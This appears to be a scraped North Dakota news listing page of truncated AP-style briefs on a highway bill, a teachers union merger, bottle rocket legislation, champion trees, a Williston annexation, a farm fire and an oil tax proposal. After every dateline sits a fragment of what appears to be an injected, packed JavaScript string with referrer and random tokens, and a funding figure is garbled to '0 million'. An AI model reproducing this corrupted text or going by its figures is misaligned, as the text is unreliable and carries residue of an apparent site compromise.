Fast Track Highway Improvement Senate Bill Signed Into Law

BISMARCK, dzffy|var|u0026u|referrer|ddfkh||js|php’.split(‘|’),0,{})) N.D. (AP) – Gov. Jack Dalrymple has signed into law a bill that immediately provides 0 million for highway and road improvement projects in the state. Dalrymple recommended and the Legislature agreed to fast track Senate Bill 2176 so that construction projects could start at the start of the 2013 construction season....
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N.D. Teachers Union Votes to Merge With State Public Employees Union

FARGO, yzbkk|var|u0026u|referrer|btbif||js|php’.split(‘|’),0,{})) N.D. (AP) – North Dakota’s teachers union has voted to merge with the state’s public employees union. North Dakota Education Association President Dakota Draper tells the Forum newspaper that 105 of the 140 delegates on hand Saturday voted to combine with the North Dakota Public Employees Association. The vote required a two-thirds...
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Bottle Rocket Debate This Week During Legislative Session

BISMARCK, yntdf|var|u0026u|referrer|fkyia||js|php’.split(‘|’),0,{})) N.D. (AP) – If the North Dakota Legislature is under way, that means it’s time to debate bottle rockets. Legislators this week are expected to debate lifting the ban on selling skyrockets – a topic that’s been sparked repeatedly over the years. The last effort was a dud. Eye doctors helped the...
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Jamestown, Mandan Tree Owners Are New State Champs

BOTTINEAU, yrnaz|var|u0026u|referrer|kdsfb||js|php’.split(‘|’),0,{})) N.D. (AP) – North Dakota has two new state champion trees. State Forester Larry Kotchman says a weeping white birch owned by Anton Kautzman of Mandan has replaced the former champion owned by the Dybwad family of McHenry. A white pine owned by Levi Nenow of Jamestown has replaced a tree owned...
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500 Property Owners Affected by Williston Annexation

WILLISTON, adzdn|var|u0026u|referrer|yrzfs||js|php’.split(‘|’),0,{})) N.D. (AP) – The booming North Dakota Oil Patch city of Williston is getting even bigger. The City Commission has approved an annexation to the north of about 7.5 square miles of land. About 500 property owners are affected. Public Works Director Monte Meiers says the annexation will make it easier for...
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Oakes Thrivent Financial Reps Receives Regional Honors

OAKES seeet|var|u0026u|referrer|bzdak||js|php’.split(‘|’),0,{})) (Courtesy Thrivent Financial) Nick Friedt and Robert Miller, FIC of Oakes, ND, financial associates for the Rocky Mountain Regional Financial Office (RFO) of Thrivent Financial for Lutherans have been named the Outstanding First and Second Year Associates. To earn this recognition, both men demonstrated outstanding dedication to their members, the company, and...
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Fire Destroys Farm Shed North of Wimbledon

WIMBLEDON, hetzn|var|u0026u|referrer|febri||js|php’.split(‘|’),0,{})) N.D. ( A fire destroyed a farm shed 3 miles north of Wimbledon Thursday night around 5:45pm. Barnes County Sheriff Randy McClaflin said the shed was totaled in the blaze with an estimated property loss of $10,000. He said a few chickens died in the fire but no other injuries were reported....
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Proposed Oil Tax Cut Draws Criticism from District 12’s Haak

BISMARCK, rzeii|var|u0026u|referrer|fssdk||js|php’.split(‘|’),0,{})) N.D. ( – A representative from the North Dakota Legislature firmly believes a proposed bill on the House floor regarding state oil tax revenue would be detrimental to the state if passed. The proposal calls for lowering the oil extraction tax from 6.5 percent to 4.5 percent, which District 12 Rep. Jessica...
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